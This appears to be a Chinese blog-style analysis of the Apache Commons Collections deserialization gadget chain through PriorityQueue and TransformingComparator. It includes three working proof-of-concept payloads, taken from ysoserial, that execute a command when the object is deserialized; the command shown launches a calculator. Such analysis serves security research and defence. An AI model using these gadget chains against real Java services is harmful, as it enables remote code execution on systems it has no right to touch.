说明
apache common collections反序列化漏洞网上已经有很多文章了,大多数文章都是分析的ChainedTransformer和lazyMap攻击链的,很有少文章分析有文章分析PriorityQueue这个攻击链的。本文就是分析PriorityQueue攻击链。
其实apache common collections的所有的攻击链的本质上还是能够找到一个完整的调用链,最终能够执行transform()方法。
通过PriorityQueue攻击链由于利用的是apahce common collections库中自身的类,所以和JDK的版本没有关系。事先声明,本文所有的payload均是来自于ysoserial中所提供的payload。
PriorityQueue
找到PriorityQueue类同样是因为其实现了readObject()方法
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
在readObject()方法中会调用heapify()方法。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
/**
* Inserts item x at position k, maintaining heap invariant by
* demoting x down the tree repeatedly until it is less than or
* equal to its children or is a leaf.
*
* @param k the position to fill
* @param x the item to insert
*/
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0) //comparator就是在PriorityQueue()构造方法中传递的Comparator对象 this.comparator = comparator;
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
通过上面的分析,PriorityQueue的反序列化调用链是 readObject()====>heapify()====>siftDown()====>siftDownUsingComparator()====>Comparator.compare()
那么现在的问题就转换为能够找到一个实现了Comparator接口的类,在其compare()方法中调用了Transform的transform()方法。
TransformingComparator
找到了TransformingComparator,分析其代码
@SuppressWarnings("unchecked")
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
/**
* Constructs an instance with the given Transformer and Comparator.
*
* @param transformer what will transform the arguments to <code>compare</code>
* @param decorated the decorated Comparator
*/
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
在compare()方法中刚好调用了Transformer类的transform()方法。至此,我们就可以构造出我们的整个攻击链了。
PriorityQueue.readObject()====>heapify()====>siftDown()====>siftDownUsingComparator()====>Comparator.compare()====>TransformingComparator().compare()====>Transformer.transform()
PoC1
在构造PoC的过程中,有一个潜在的坑。在PriorityQueue中的heapify()中。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
注意只有当(size >>> 1) - 1》=0
时,才会执行siftDown(i, (E) queue[i]);方法,意味着size必须有是size>=2。而priorityQueue刚好存在一个add()方法,当多增加一个元素之后,size就会+1。这也就是为什么我们在初始化之后,需要手动调用add()方法,增加一个item。
public boolean add(E e) {
return offer(e);
}
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
那么最终的PoC就是:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] { "gnome-calculator" })
};
Transformer transformChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(transformChain);
PriorityQueue priorityQueue = new PriorityQueue(1, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);
File f = new File("payload4");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(priorityQueue);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
PoC2
直接给出在ysoserial中的第二个payload.
public static void poc2 throws ClassNotFoundException, NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException, NoSuchFieldException {
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
final TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Pwnr");
Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, TransformerFactoryImpl.class.newInstance());
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");
Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(queue);
queueArray[0] = templates;
queueArray[1] = 1;
File f = new File("payload5");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(queue);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
@Override
public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static class ClassFiles {
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
在PoC2中除了构造基于TemplatesImpl这个类的payload之外,还有整个的构造也非常的有意思,包括queue的设置以及将iMethodName设置为newTransformer,这一点可以着重看下,而这也是这个payload最为难懂的地方。
Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(queue);
queueArray[0] = templates;
queueArray[1] = 1;
--------------------------------------------------------------------
Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");
其中的关键地方是为什么要设置queueArray[0] = templates;queueArray[1] = 1;
,这样设置的目的是什么?
关于这一点,需要详细地分析queue
这个类的结构来能够很好地解释为什么会是这样。之后会写一篇更加详细的文章,分析为什么是这种情况。
PoC3
前面两种PoC都是采用的是InvokerTransformer,当然我们也可以使用InstantiateTransformer作为自己的payload,按照官方的解释这个类的作用是:Transformer implementation that creates a new object instance by reflection。这个类的作用就是能够帮助我们生成一个我们需要类,那么我们就可以得到InstantiateTransformer这个类,在这个类的构造方法中:
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
其中最为关键的代码是 _transformer = (TransformerImpl) templates.newTransformer(); 所以如果我们将templates设置为我们的恶意类,就能够触发最终的payload。那么最终的payload的写法是:
TemplatesImpl templates = getTemplates();
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
File f = new File("payload5");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(queue);
oos.close();
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();
其中最为关键的代码是: ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
后记
其实这个payload需要理解PriorityQueue的整个运行机制,在PriorityQueue存在两个非常关键的点,一个是PriorityQueue的add()方法,一个是初始化的构造方法,如 PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain));
每一次的add()方法在PriorityQueue中的调用路径如下:
add()====>offer()====>siftUp())====>siftUpUsingComparator()====>compare()====>ChainedTransformer:transform()
每一次的add()方法都会调用ChainedTransformer中的transform()方法完成数据的转换工作.而这些transform()就是在PriorityQueue初始化的时候定义的.